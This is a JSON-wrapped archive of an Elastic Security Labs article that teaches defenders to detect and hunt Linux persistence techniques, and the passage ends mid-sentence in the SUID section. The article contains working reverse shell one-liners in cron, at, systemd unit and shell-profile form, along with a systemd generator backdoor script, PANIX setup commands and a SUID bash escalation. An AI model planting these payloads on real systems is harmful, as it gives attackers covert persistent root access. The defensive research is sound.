{
	"id": "4b46a7a0-a4b7-4c6d-b3c5-5e54371f4b7c",
	"created_at": "2026-04-06T00:13:29.007229Z",
	"updated_at": "2026-04-10T03:34:41.41512Z",
	"deleted_at": null,
	"sha1_hash": "dc8437a657e65d8081977059d898382b32859b96",
	"title": "Linux Detection Engineering - A primer on persistence mechanisms",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1651405,
	"plain_text": "Linux Detection Engineering - A primer on persistence\r\nmechanisms\r\nBy Ruben Groenewoud\r\nPublished: 2024-08-21 · Archived: 2026-04-05 22:24:14 UTC\r\nIntroduction\r\nIn this second part of the Linux Detection Engineering series, we'll examine Linux persistence mechanisms in\r\ndetail, starting with common or straightforward methods and moving toward more complex or obscure techniques.\r\nThe goal is to educate defenders and security researchers on the foundational aspects of Linux persistence\r\ntechniques by examining both trivial and more complicated methods, understanding how these methods work,\r\nhow to hunt for them, and how to develop effective detection strategies.\r\nFor those who missed the first part, \"Linux Detection Engineering with Auditd\", it can be found here.\r\nFor this installment, we'll set up the persistence mechanisms, analyze the logs, and observe the potential detection\r\nopportunities. To aid in this process, we’re sharing PANIX, a Linux persistence tool developed by Ruben\r\nGroenewoud of Elastic Security. PANIX simplifies and customizes persistence setup to test your detections.\r\nBy the end of this article, you'll have a solid understanding of each persistence mechanism we describe, including:\r\nHow it works (theory)\r\nHow to set it up (practice)\r\nHow to detect it (SIEM and Endpoint rules)\r\nHow to hunt for it (ES|QL and OSQuery hunts)\r\nStep into the world of Linux persistence with us, it’s fun!\r\nWhat is persistence?\r\nLet’s start with the basics. Persistence refers to an attacker's ability to maintain a foothold in a compromised\r\nsystem or network even after reboots, password changes, or other attempts to remove them.\r\nPersistence is crucial for attackers, ensuring extended access to the target environment. This enables them to\r\ngather intelligence, understand the environment, move laterally through the network, and work towards achieving\r\ntheir objectives.\r\nGiven that most malware attempts to establish some form of persistence automatically, this phase is critical for\r\ndefenders to understand. Ideally, attacks should be detected and prevented during initial access, but this is not\r\nalways possible. Many malware samples also leverage multiple persistence techniques to ensure continued access.\r\nNotably, these persistence mechanisms can often be detected with robust defenses in place.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 1 of 26\n\nEven if an attack is detected, the initial access vector is patched and mitigated, but any leftover persistence\r\nmechanism can allow the attackers to regain access and resume their operations. Therefore, it's essential to\r\nmonitor the establishment of some persistence mechanisms close to real time and hunt others regularly.\r\nTo support this effort, Elastic utilizes the MITRE ATT\u0026CK framework as the primary lexicon for categorizing\r\ntechniques in most of our detection artifacts. MITRE ATT\u0026CK is a globally accessible knowledge base of\r\nadversary tactics and techniques based on real-world observations. It is commonly used as a foundation for\r\ndeveloping specific threat models and methodologies within the field of cybersecurity. By leveraging this\r\ncomprehensive framework, we enhance our ability to detect, understand, and mitigate persistent threats\r\neffectively.\r\nSetup\r\nTo ensure you are prepared to detect the persistence mechanisms discussed in this article, enabling and updating\r\nour pre-built detection rules is important. If you are working with a custom-built ruleset and do not use all of our\r\npre-built rules, this is a great opportunity to test them and fill in any gaps.\r\nTo install, enable, and update our pre-built rules, follow these steps:\r\n1. Navigate to Kibana → Security → Rules → Detection rules (SIEM).\r\n2. You will find your installed and potential new and/or updated pre-built rules here.\r\n3. Use the \"Add Elastic rules\" button to add the latest Elastic pre-built rules.\r\n4. Use the \"Rule Updates\" tab to update existing rules.\r\nNow, we are ready to get started.\r\nT1053 - scheduled task/job\r\nAutomating routine tasks is common in Unix-like operating systems for system maintenance. Some common\r\nutilities used for task scheduling are cron and at. MITRE details information related to this technique under the\r\nidentifier T1053.\r\nT1053.003 - scheduled task/job: Cron\r\nCron is a utility for scheduling recurring tasks to run at specific times or intervals. It is available by default on\r\nmost Linux distributions. It is a daemon (that is, a background process that typically performs tasks without\r\nrequiring user interaction) that reads cron files from a default set of locations. These files contain commands to\r\nrun periodically and/or at a scheduled time.\r\nThe scheduled task is called a cron job and can be executed with both user and root permissions, depending on the\r\nconfiguration. Due to its versatility, cron is an easy and stable candidate for Linux persistence, even without\r\nescalating to root privileges upon initial access.\r\nThere are user-specific and system-wide cron jobs. The user-specific cron jobs commonly reside in:\r\n/var/spool/cron/\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 2 of 26\n\n/var/spool/cron/crontabs/\r\nThe system-wide cron jobs are located in the following:\r\n/etc/crontab\r\n/etc/cron.d/\r\n/etc/cron.daily/\r\n/etc/cron.hourly/\r\n/etc/cron.monthly/\r\n/etc/cron.weekly/\r\nThe cron file syntax slightly differs based on the location in which the cron file is created. For the cron files in the\r\n/etc/ directory, the user who will execute the job must be specified.\r\n* * * * * root /bin/bash -c '/srv/backup_tool.sh'\r\nConversely, the user who created the cron files in the /var/spool/cron/crontabs/ directory will execute the\r\ncron files.\r\n* * * * * /bin/bash -c '/srv/backup_tool.sh'\r\nThe asterisks are used to create the schedule. They represent (in order) minutes, hours, days (of the month),\r\nmonths, and days (of the week). Setting “ * * * * * ” means the cron job is executed every minute while setting\r\n“ * * 1 12 * ” means the cron job is executed every minute on the first day of December. Information on cron\r\nscheduling is available at Crontab Guru.\r\nAttackers can exploit these jobs to run scripts or binaries that establish reverse connections or add reverse shell\r\ncommands.\r\n* * * * * root /bin/bash -c 'sh -i \u003e\u0026 /dev/tcp/192.168.1.1/1337 0\u003e\u00261'\r\nMITRE specifies more information and real-world examples related to this technique in T1053.003.\r\nPersistence through T1053.003 - cron\r\nYou can manually create a system-wide cron file in any of the /etc/ directories or use the crontab -e\r\ncommand to create a user-specific cron file. To more easily illustrate all of the persistence mechanisms presented\r\nin these articles, we will use PANIX. Depending on the privileges when running it, you can establish persistence\r\nlike so:\r\nsudo ./panix.sh --cron --default --ip 192.168.1.1 --port 2001\r\n[+] Cron job persistence established.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 3 of 26\n\nThe default setting for the root user will create a cron file at /etc/cron.d/freedesktop_timesync1 that calls out\r\nto the attacker system every minute. When looking at the events, we can see the following:\r\nEvents generated as a result of cron persistence establishment\r\nWhen PANIX was executed, the cron job was created, /usr/sbin/cron read the contents of the cron file and\r\nexecuted it, after which a network connection was established. Analyzing this chain of events, we can identify\r\nseveral detection capabilities for this and other proof-of-concepts.\r\nElastic SIEM includes over 1,000 prebuilt rules and more than 200 specifically dedicated to Linux. These rules\r\nrun on the Elastic cluster and are designed to detect threat techniques that are available in our public detection\r\nrules repository. Our prevention capabilities include behavioral endpoint rules and memory/file signatures, which\r\nare utilized by Elastic Defend and can be found in our public protection artifacts repository.\r\nCategory Coverage\r\nFile Cron Job Created or Modified\r\nSuspicious File Creation in /etc for Persistence\r\nPotential Persistence via File Modification\r\nProcess Hidden Payload Executed via Scheduled Job\r\nScheduled Job Executing Binary in Unusual Location\r\nScheduled Task Unusual Command Execution\r\nThe file category has three different rules, the first two focusing on creation/modification using Elastic Defend,\r\nwhile the third focuses on modification through File Integrity Monitoring (FIM). FIM can be set up using\r\nAuditbeat or via the Fleet integration. To correctly set up FIM, it is important to specify full paths to the files that\r\nFIM should monitor, as it does not allow for wildcards. Therefore, Potential Persistence via File Modification is a\r\nrule that requires manual setup and tailoring to your specific needs, as it will require individual entries depending\r\non the persistence technique you are trying to detect.\r\nT1053.002 - scheduled task/job: at\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 4 of 26\n\nAt is a utility for scheduling one-time tasks to run at a specified time in the future on Linux systems. Unlike cron,\r\nwhich handles recurring tasks, At is designed for single executions. The At daemon ( atd ) manages and executes\r\nthese scheduled tasks at the specified time.\r\nAn At job is defined by specifying the exact time it should run. Depending on the configuration, users can\r\nschedule At jobs with either user or root permissions. This makes At a straightforward option for scheduling tasks\r\nwithout the need for persistent or repeated execution, but less useful for attackers. Additionally, At is not present\r\non most Linux distributions by-default, which makes leveraging it even less trivial. However, it is still used for\r\npersistence, so we should not neglect the technique.\r\nAt jobs are stored in /var/spool/cron/atjobs/ . Besides the At job, At also creates a spool file in the\r\n/var/spool/cron/atspool/ directory. These job files contain the details of the scheduled tasks, including the\r\ncommands to be executed and the scheduled times.\r\nTo schedule a task using At, you simply provide the command to run and the time for execution. The syntax is\r\nstraightforward:\r\necho \"/bin/bash -c 'sh -i \u003e\u0026 /dev/tcp/192.168.1.1/1337 0\u003e\u00261'\" | at now + 1 minute\r\nThe above example schedules a task to run one minute from the current time. The time format can be flexible,\r\nsuch as at 5 PM tomorrow or at now + 2 hours . At job details can be listed using the atq command, and\r\nspecific jobs can be removed using atrm .\r\nAt is useful for one-time task scheduling and complements cron for users needing recurring and single-instance\r\ntask scheduling solutions. MITRE specifies more information and real-world examples related to this technique in\r\nT1053.002.\r\nPersistence through T1053.002 - At\r\nYou can leverage the above command structure or use PANIX to set up an At job. Ensure At is installed on your\r\nsystem and the time settings are correct, as this might interfere with the execution.\r\n./panix.sh --at --default --ip 192.168.1.1 --port 2002 --time 14:49\r\njob 15 at Tue Jun 11 14:49:00 2024\r\n[+] At job persistence established.\r\nBy default, depending on the privileges used to run the program, a reverse connection will be established at the\r\ntime interval the user specified. Looking at the events in Discover:\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 5 of 26\n\nEvents generated as a result of At persistence establishment\r\nWe see the execution of PANIX, which is creating the At job. Next, At(d) creates two files, an At job and an At\r\nspool. At the correct time interval, the At job is executed, after which the reverse connection to the attack IP is\r\nestablished. Looking at these events, we have fewer behavioral coverage opportunities than we have for cron, as\r\nbehaviorally, it is just /bin/sh executing a shell command. However, we can still identify the following artifacts:\r\nCategory Coverage\r\nFile At Job Created or Modified\r\nPotential Persistence via File Modification\r\nT1053 - scheduled task/job: honorable mentions\r\nSeveral other honorable mentions for establishing persistence through scheduled tasks/jobs include Anacron,\r\nFcron, Task Spooler, and Batch. While these tools are less commonly leveraged by malware due to their non-default installation and limited versatility compared to cron and other mechanisms, they are still worth noting. We\r\ninclude behavioral detection rules for some of these in our persistence rule set. For example, Batch jobs are saved\r\nin the same location as At jobs and are covered by our \"At Job Created or Modified\" rule. Similarly, Anacron jobs\r\nare covered through our \"Cron Job Created or Modified\" rule, as Anacron integrates with the default Cron\r\npersistence detection setup.\r\nHunting for T1053 - scheduled task/job\r\nBesides relying on Elastic’s pre-built detection and endpoint rules, a defender will greatly benefit from manual\r\nthreat hunting. As part of Elastic’s 8.14 release, the general availability of the Elasticsearch Query Language\r\n(ES|QL) language was introduced. ES|QL provides a powerful way to filter, transform, and analyze data stored in\r\nElasticsearch. For this use case, we will leverage ES|QL to hunt through all the data in an Elasticsearch stack for\r\ntraces of cron, At, Anacron, Fcron, Task Spooler, and Batch persistence.\r\nWe can leverage the following ES|QL query that can be tailored to your specific environment:\r\nThis query returns 76 hits that could be investigated. Some are related to PANIX, others to real malware\r\ndetonations, and some are false positives.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 6 of 26\n\nResults of the ES|QL hunt for scheduled task persistence establishment\r\nDealing with false positives is crucial, as system administrators and other authorized personnel commonly use\r\nthese tools. Differentiating between legitimate and malicious use is essential for maintaining an effective security\r\nposture. Accurately identifying the intent behind using these tools helps minimize disruptions caused by false\r\nalarms while ensuring that potential threats are addressed promptly.\r\nPrograms similar to cron also have an execution history, as all of the scripts it executes will have cron as its\r\nparent. This allows us to hunt for unusual process executions through ES|QL:\r\nThis example performs aggregation using a distinct_count of host.id . If an anomalous entry is observed,\r\nhost_count can be removed, and additional fields such as host.name and user.name can be added to the by\r\nsection. This can help find anomalous behavior on specific hosts rather than across the entire environment. This\r\ncould also be an additional pivoting opportunity if suspicious processes are identified.\r\nIn this case, the query returns 37 results, most of which are true positives due to the nature of the testing stack in\r\nwhich this is executed.\r\nResults of the ES|QL hunt for scheduled task execution persistence establishment\r\nIn your environment, this will likely return a massive amount of results. You may consider reducing/increasing the\r\nnumber of days that are being searched. Additionally, the total count of entries (cc) and host_count can be\r\nincreased/decreased to make sense for your environment. Every network is unique; therefore, a false positive in\r\none environment may not be a false positive for every environment. Additionally, the total count of entries ( cc )\r\nand host_count can be increased/decreased to make sense for your environment. Every network is unique, and\r\ntherefore a false-positive in one environment may not be a false-positive in another. Adding exclusions specific to\r\nyour needs will allow for easier hunting.\r\nBesides ES|QL, we can also leverage Elastic’s OSQuery Manager integration. OSQuery is an open-source, cross-platform tool that uses SQL queries to investigate and monitor the operating system's performance, configuration,\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 7 of 26\n\nand security by exposing system information as a relational database. It allows administrators and security\r\nprofessionals to easily query system data and create real-time monitoring and analytics solutions. Streaming\r\ntelemetry represents activity over time, while OSQuery focuses on static on-disk presence. This opens the door for\r\ndetecting low-and-slow/decoupled-style attacks and might catch otherwise missed activity through telemetry\r\nhunting.\r\nInformation on how to set up OSQuery can be found in the Kibana docs, and a blog post explaining OSQuery in\r\ndepth can be found here. We can run the following live query to display all of the cron files present on a particular\r\nsystem:\r\nThe following results are returned. We can see the /etc/cron.d/freedesktop_timesync1 with a\r\nfile_last_status_change_time that is recent and differs from the rest of the cron files. This is the backdoor\r\nplanted by PANIX.\r\nResults of the OSQuery hunt for scheduled task persistence establishment\r\nIf we want to dig deeper, OSQuery also provides a module to read the commands from the crontab file by running\r\nthe following query:\r\nThis shows us the command, the location of the cron job, and the corresponding schedule at which it runs.\r\nResults of the OSQuery crontab hunt\r\nAnalyzing the screenshot, we see two suspicious reverse shell entries, which could require additional manual\r\ninvestigation.\r\nAn overview of the hunts outlined above, with additional descriptions and references, can be found in our\r\ndetection rules repository, specifically in the Linux hunting subdirectory. We can hunt for uncommon scheduled\r\ntask file creations or unusual process executions through scheduled task executables by leveraging ES|QL and\r\nOSQuery. The Persistence via Cron hunt contains several ES|QL and OSQuery queries to aid this process.\r\nT1453 - create or modify system process (systemd)\r\nSystemd is a system and service manager for Linux, widely adopted as a replacement for the traditional SysVinit\r\nsystem. It is responsible for initializing the system, managing processes, and handling system resources. Systemd\r\noperates through a series of unit files defining how services should be started, stopped, and managed.\r\nUnit files have different types, each designed for specific purposes. The Service unit is the most common unit type\r\nfor managing long-running processes (typically daemons). Additionally, the Timer unit manages time-based\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 8 of 26\n\nactivation of other units, similar to cron jobs, but integrated into Systemd.\r\nThis section will discuss T1453 for systemd services and generators, and T1053 for systemd timers.\r\nT1453.002 - create or modify system process: systemd services\r\nThe services managed by systemd are defined by unit files, and are located in default directories, depending on the\r\noperating system and whether the service is run system-wide or user-specific. The system-wide unit files are\r\ntypically located in the following directories:\r\n/run/systemd/system/\r\n/etc/systemd/system/\r\n/etc/systemd/user/\r\n/usr/local/lib/systemd/system/\r\n/lib/systemd/system/\r\n/usr/lib/systemd/system/\r\n/usr/lib/systemd/user/\r\nUser-specific unit files are typically located at:\r\n~/.config/systemd/user/\r\n~/.local/share/systemd/user/\r\nA basic service unit file consists of three main sections: [Unit] , [Service] , and [Install] , and has the\r\n.service extension. Here's an example of a simple unit file that could be leveraged for persistence:\r\n[Unit]\r\nDescription=Reverse Shell\r\n[Service]\r\nExecStart=/bin/bash -c 'sh -i \u003e\u0026 /dev/tcp/192.168.1.1/1337 0\u003e\u00261'\r\n[Install]\r\nWantedBy=multi-user.target\r\nThis unit file would attempt to establish a reverse shell connection every time the system boots, running with root\r\nprivileges. More information and real-world examples related to systemd services are outlined by MITRE in\r\nT1543.002.\r\nRelying solely on persistence upon reboot might be too restrictive. Timer unit files can be leveraged to overcome\r\nthis limitation to ensure persistence on a predefined schedule.\r\nT1053.006 - scheduled task/job: systemd timers\r\nTimer units provide a versatile method to schedule tasks, similar to cron jobs but more integrated with the\r\nSystemd ecosystem. A timer unit specifies the schedule and is associated with a corresponding service unit that\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 9 of 26\n\nperforms the task. Timer units can run tasks at specific intervals, on specific dates, or even based on system\r\nevents.\r\nTimer unit files are typically located in the same directories as the service unit files and have a .timer extension.\r\nCoupling timers to services is done by leveraging the same unit file name but changing the extension. An example\r\nof a timer unit file that would activate our previously created service every hour can look like this:\r\n[Unit]\r\nDescription=Obviously not malicious at all\r\n[Timer]\r\nOnBootSec=1min\r\nOnUnitActiveSec=1h\r\n[Install]\r\nWantedBy=timers.target\r\nTimers are versatile and allow for different scheduling options. Some examples are OnCalendar=Mon,Wed,Fri\r\n17:00:00 to run a service every Monday, Wednesday, and Friday at 5:00 PM, and OnCalendar=*-*-* 02:30:00\r\nto run a service every day at 2:30 AM. More details and real world examples related to Systemd timers are\r\npresented by MITRE in T1053.006.\r\nT1453 - create or modify system process: systemd generators\r\nGenerators are small executables executed by systemd at bootup and during configuration reloads. Their main role\r\nis to convert non-native configuration and execution parameters into dynamically generated unit files, symlinks,\r\nor drop-ins, extending the unit file hierarchy for the service manager.\r\nSystem and user generators are loaded from the system-generators / and user-generators / directories,\r\nrespectively, with those listed earlier overriding others of the same name. Generators produce output in three\r\npriority-based directories: generator.early (highest), generator (medium), and generator.late (lowest).\r\nReloading daemons will re-run all generators and reload all units from disk.\r\nSystem-wide generators can be placed in the following directories:\r\n/run/systemd/system-generators/\r\n/etc/systemd/system-generators/\r\n/usr/local/lib/systemd/system-generators/\r\n/lib/systemd/system-generators/\r\n/usr/lib/systemd/system-generators/\r\nUser-specific generators are placed in the following directories:\r\n/run/systemd/user-generators/\r\n/etc/systemd/user-generators/\r\n/usr/local/lib/systemd/user-generators/\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 10 of 26\n\n/lib/systemd/user-generators/\r\n/usr/lib/systemd/user-generators/\r\nPepe Berba's research explores using systemd generators to establish persistence. One method involves using a\r\ngenerator to create a service file that triggers a backdoor on boot. Alternatively, the generator can execute the\r\nbackdoor directly, which can cause delays if the network service is not yet started, alerting the user. Systemd\r\ngenerators can be binaries or shell scripts. For example, a payload could look like this:\r\n#!/bin/sh\r\n# Create a systemd service unit file in the late directory\r\ncat \u003c\u003c-EOL \u003e \"/run/systemd/system/generator.service\"\r\n[Unit]\r\nDescription=Generator Service\r\n[Service]\r\nExecStart=/usr/lib/systemd/system-generators/makecon\r\nRestart=always\r\nRestartSec=10\r\n[Install]\r\nWantedBy=multi-user.target\r\nEOL\r\nmkdir -p /run/systemd/system/multi-user.target.wants/\r\nln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service\r\n# Ensure the script exits successfully\r\nexit 0\r\nWhich creates a new service ( generator.service ), which in turn executes /usr/lib/systemd/system-generators/makecon on boot. As this method creates a service (albeit via a generator), we will take a closer look\r\nat systemd service persistence. Let's examine how these work in practice.\r\nPersistence through T1453/T1053 - systemd services, timers and generators\r\nYou can manually create the unit file in the appropriate directory, reload the daemon, enable and start the service,\r\nor use PANIX to do that for you. PANIX will create a service unit file in the specified directory, which in turn runs\r\nthe custom command at a one-minute interval through a timer unit file. You can also use --default with --ip ,\r\n--port, and –-timer .\r\nsudo ./panix.sh --systemd --custom --path /etc/systemd/system/panix.service --command \"/usr/bin/bash -c 'bash -\r\nService file created successfully!\r\nCreated symlink /etc/systemd/system/default.target.wants/panix.service → /etc/systemd/system/panix.service.\r\nTimer file created successfully!\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 11 of 26\n\nCreated symlink /etc/systemd/system/timers.target.wants/panix.timer → /etc/systemd/system/panix.timer.\r\n[+] Persistence established.\r\nWhen a service unit is enabled, systemd creates a symlink in the default.target.wants/ directory (or another\r\nappropriate target directory). This tells systemd to start the panix.service automatically when the system\r\nreaches the default.target . Similarly, the symlink for the timer unit file tells systemd to activate the timer\r\nbased on the schedule defined in the timer unit file.\r\nWe can analyze and find out what happened when looking at the documents in Kibana:\r\nEvents generated as a result of systemd service/timer persistence establishment\r\nPANIX is executed, which creates the panix.service and panix.timer units in the corresponding directories.\r\nThen, systemctl is used to reload the daemons, after which the panix.timer is enabled and started, enabling\r\nsystemd to run the ExecStart section of the service unit (which initiates the outbound network connection)\r\nevery time the timer hits. To detect potential systemd persistence, we leverage the following behavioral rules:\r\nCategory Coverage\r\nFile Systemd Service Created\r\nSystemd Timer Created\r\nSystemd Generator Created\r\nSuspicious File Creation in /etc for Persistence\r\nProcess Systemd Service Started by Unusual Parent Process\r\nHidden Payload Executed via Scheduled Job\r\nScheduled Job Executing Binary in Unusual Location\r\nScheduled Task Unusual Command Execution\r\nHunting for T1053/T1453 - systemd services, timers and generators\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 12 of 26\n\nWe can hunt for uncommon service / timer / generator file creations in our environment through systemd by\r\nleveraging ES|QL and OSQuery. The Persistence via Systemd (Timers) file contains several ES|QL and OSQuery\r\nqueries that can help hunt for these types of persistence.\r\nT1546.004 - event triggered execution: Unix shell configuration modification\r\nUnix shell configuration files are scripts that run throughout a user session based on events (e.g., log in/out, or\r\nopen/close a shell session). These files are used to customize the shell environment, including setting environment\r\nvariables, aliases, and other session-specific settings. As these files are executed via a shell, they can easily be\r\nleveraged by attackers to establish persistence on a system by injecting backdoors into these scripts.\r\nDifferent shells have their own configuration files. Similarly to cron and systemd, this persistence mechanism can\r\nbe established with both user and root privileges. Depending on the shell, system-wide shell configuration files are\r\nlocated in the following locations and require root permissions to be changed:\r\n/etc/profile\r\n/etc/profile.d/\r\n/etc/bash.bashrc\r\n/etc/bash.bash_logout\r\nUser-specific shell configuration files are triggered through actions performed by and executed in the user's\r\ncontext. Depending on the shell, these typically include:\r\n~/.profile\r\n~/.bash_profile\r\n~/.bash_login\r\n~/.bash_logout\r\n~/.bashrc\r\nOnce modified, these scripts ensure malicious commands are executed for every user login or logout. These\r\nscripts are executed in a specific order. When a user logs in via SSH, the order of execution for the login shells is:\r\n1. /etc/profile\r\n2. ~/.bash_profile (if it exists, otherwise)\r\n3. ~/.bash_login (if it exists, otherwise)\r\n4. ~/.profile (if it exists)\r\nFor non-login interactive shell initialization, ~/.bashrc is executed. Typically, to ensure this configuration file is\r\nalso executed on login, ~/.bashrc is sourced within ~/.bash_profile , ~/.bash_login or ~/.profile .\r\nAdditionally, a backdoor can be added to the ~/.bash_logout configuration file for persistence upon shell\r\ntermination.\r\nWhen planting a backdoor in one of these files, it is important not to make mistakes in the execution chain,\r\nmeaning that it is both important to pick the correct configuration file and to pick a fitting payload. A typical\r\nreverse shell connection will make the terminal freeze while sending the reverse shell connection to the\r\nbackground will make it malfunction. A potential payload could look like this:\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 13 of 26\n\n(nohup bash -i \u003e /dev/tcp/192.168.1.1/1337 0\u003c\u00261 2\u003e\u00261 \u0026)\r\nThis command uses “nohup” (no hang up) to run an interactive bash reverse shell as a background process,\r\nensuring it continues running even after the initiating user logs out. The entire command is then executed in the\r\nbackground using \u0026 and wrapped in parentheses to create a subshell, preventing any interference with the parent\r\nshell’s operations.\r\nBe vigilant for other types of backdoors, such as credential stealers that create fake “ [sudo] password for… ”\r\nprompts when running sudo or the execution of malicious binaries. MITRE specifies more information and real-world examples related to this technique in T1546.004.\r\nPersistence through T1546.004 - shell profile modification\r\nYou can add a bash payload to shell configuration files either manually or using PANIX. When PANIX runs with\r\nuser privileges, it establishes persistence by modifying ~/.bash_profile . With root privileges, it modifies the\r\n/etc/profile file to achieve system-wide persistence.\r\nsudo ./panix.sh --shell-profile --default --ip 192.168.1.1 --port 2004\r\nTo trigger it, either log in as root via the shell with su --login root or login via SSH. The shell profile will be\r\nparsed and executed in order, resulting in the following chain of execution:\r\nEvents generated as a result of shell profile modification persistence establishment\r\nPANIX plants the backdoor in /etc/profile , next su --login root is executed to trigger the payload, the\r\nUID / GID changes to root, and a network connection is initiated through the injected backdoor. A similar process\r\noccurs when logging in via SSH. We can detect several steps of the attack chain.\r\nDetection and endpoint rules that cover shell profile modification persistence_\r\nCategory Coverage\r\nFile Shell Configuration Creation or Modification\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 14 of 26\n\nCategory Coverage\r\nPotential Persistence via File Modification\r\nProcess Binary Execution from Unusual Location through Shell Profile\r\nNetwork Network Connection through Shell Profile\r\nHunting for T1546.004 - shell configuration modification\r\nWe can hunt for shell profile file creations/modification, as well as SSHD child processes, by leveraging ES|QL\r\nand OSQuery. The Shell Modification Persistence hunting rule contains several of these hunting queries.\r\nT1547.013 - boot or logon autostart execution: XDG autostart entries\r\nCross-Desktop Group (XDG) is a set of standards for Unix desktop environments that describe how applications\r\nshould be started automatically when a user logs in. The XDG Autostart specification is particularly interesting, as\r\nit defines a way to automatically launch applications based on desktop entry files, which are plain text files with\r\nthe .desktop extension.\r\nThe .desktop files are typically used to configure how applications appear in menus and how they are launched.\r\nBy leveraging XDG Autostart, attackers can configure malicious applications to run automatically whenever users\r\nlog into their desktop environment.\r\nThe location where these files can be placed varies based on whether the persistence is being established for all\r\nusers (system-wide) or a specific user. It also depends on the desktop environment used; for example, KDE has\r\nother configuration locations than Gnome. Default system-wide autostart files are located in directories that\r\nrequire root permissions to modify, such as:\r\n/etc/xdg/autostart/\r\n/usr/share/autostart/\r\nDefault user-specific autostart files, other than the root user-specific autostart file, only require user-level\r\npermissions. These are typically located in:\r\n~/.config/autostart/\r\n~/.local/share/autostart/\r\n~/.config/autostart-scripts/ (not part of XDG standard, but used by KDE)\r\n/root/.config/autostart/*\r\n/root/.local/share/autostart/\r\n/root/.config/autostart-scripts/\r\nAn example of a .desktop file that executes a binary whenever a user logs in looks like this:\r\n[Desktop Entry]\r\nType=Application\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 15 of 26\n\nExec=/path/to/malicious/binary\r\nHidden=false\r\nNoDisplay=false\r\nX-GNOME-Autostart-enabled=true\r\nName=Updater\r\nVolexity recently published research on DISGOMOJI malware, which was found to establish persistence by\r\ndropping a .desktop file in the ~/.config/autostart/ directory, which would execute a malicious backdoor\r\nplanted on the system. As it can be established with both user/root privileges, it is an interesting candidate for\r\nautomated persistence implementations. Additionally, more information and real-world examples related to this\r\ntechnique are specified by MITRE in T1547.013.\r\nPersistence through T1547.013 - Cross-Desktop Group (XDG)\r\nYou can determine coverage and dynamically analyze this technique manually or through PANIX. When\r\nanalyzing this technique, make sure XDG is available on your testing system, as it is designed to be used on\r\nsystems with a GUI (XDG can also be used without a GUI). When PANIX runs with user privileges, it establishes\r\npersistence by modifying ~/.config/autostart/user-dirs.desktop to execute ~/.config/autostart/.user-dirs and achieve user-specific persistence. With root privileges, it modifies /etc/xdg/autostart/pkc12-\r\nregister.desktop to execute /etc/xdg/pkc12-register and achieve system-wide persistence.\r\nsudo ./panix.sh --xdg --default --ip 192.168.1.1 --port 2005\r\n[+] XDG persistence established.\r\nAfter rebooting the system and collecting the logs, the following events will be present for a GNOME-based\r\nsystem.\r\nEvents generated as a result of XDG persistence establishment\r\nWe can see PANIX creating the /etc/xdg/autostart directory and the pkc12-register/pkc12-\r\nregister.desktop files. It grants execution privileges to the backdoor script, after which persistence is\r\nestablished. When the user logs in, the .desktop files are parsed, and /usr/libexec/gnome-session-binary\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 16 of 26\n\nexecutes its contents, which in turn initiates the reverse shell connection. Here, again, we can detect several parts\r\nof the attack chain.\r\nCategory Coverage\r\nFile Persistence via KDE AutoStart Script or Desktop File Modification\r\nPotential Persistence via File Modification\r\nNetwork Network Connections Initiated Through XDG Autostart Entry\r\nAgain, the file category has two different rules: the former focuses on creation/modification using Elastic Defend,\r\nwhile the latter focuses on modification through FIM.\r\nHunting for T1547.013 - XDG autostart entries\r\nHunting for persistence through XDG involves XDG .desktop file creations in known locations and unusual\r\nchild processes spawned from a session-manager parent through ES|QL and OSQuery. The XDG Persistence\r\nhunting rule contains several queries to hunt for XDG persistence.\r\nT1548.001 - abuse elevation control mechanism: setuid and setgid\r\nSet Owner User ID (SUID) and Set Group ID (SGID) are Unix file permissions allowing users to run executables\r\nwith the executable’s owner or group permissions, respectively. When the SUID bit is set on an executable owned\r\nby the root user, any user running the executable gains root privileges. Similarly, when the SGID bit is set on an\r\nexecutable, it runs with the permissions of the group that owns the file.\r\nTypical targets for SUID and SGID backdoors include common system binaries like find , vim , or bash ,\r\nfrequently available and widely used. GTFOBins provides a list of common Unix binaries that can be exploited to\r\nobtain a root shell or unauthorized file reads. System administrators must be cautious when managing SUID and\r\nSGID binaries, as improperly configured permissions can lead to significant security vulnerabilities.\r\nTo exploit this, either a misconfigured SUID or SGID binary must be present on the system, or root-level\r\nprivileges must be obtained to create a backdoor. Typical privilege escalation enumeration scripts enumerate the\r\nentire filesystem for the presence of these binaries using find .\r\nSUID and SGID binaries are common on Linux and are available on the system by default. Generally, these\r\ncannot be exploited. An example of a misconfigured SUID binary looks like this:\r\nfind / -perm -4000 -type f -exec ls -la {} \\;\r\n-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash\r\nThe /bin/bash binary is not a default SUID binary and causes a security risk. An attacker could now run\r\n/bin/bash -p to run bash and keep the root privileges on execution. More information on this is available at\r\nGTFOBins. Although MITRE defines this as privilege escalation/defense evasion, it can (as shown) be used for\r\npersistence as well. More information by MITRE on this technique is available at T1548.001.\r\nhttps://www.elastic.co/security-labs/primer-on-persistence-mechanisms\r\nPage 17 of 26\n\nPersistence through T1548.001 - setuid and setgid\r\nThis method requires root privileges, as it sets the SUID bit to a set of executables:\r\nsudo ./panix.sh --suid --default\r\n[+] SUID privilege granted to /usr/bin/find\r\n[+] SUID privilege granted to /usr/bin/dash\r\n[-] 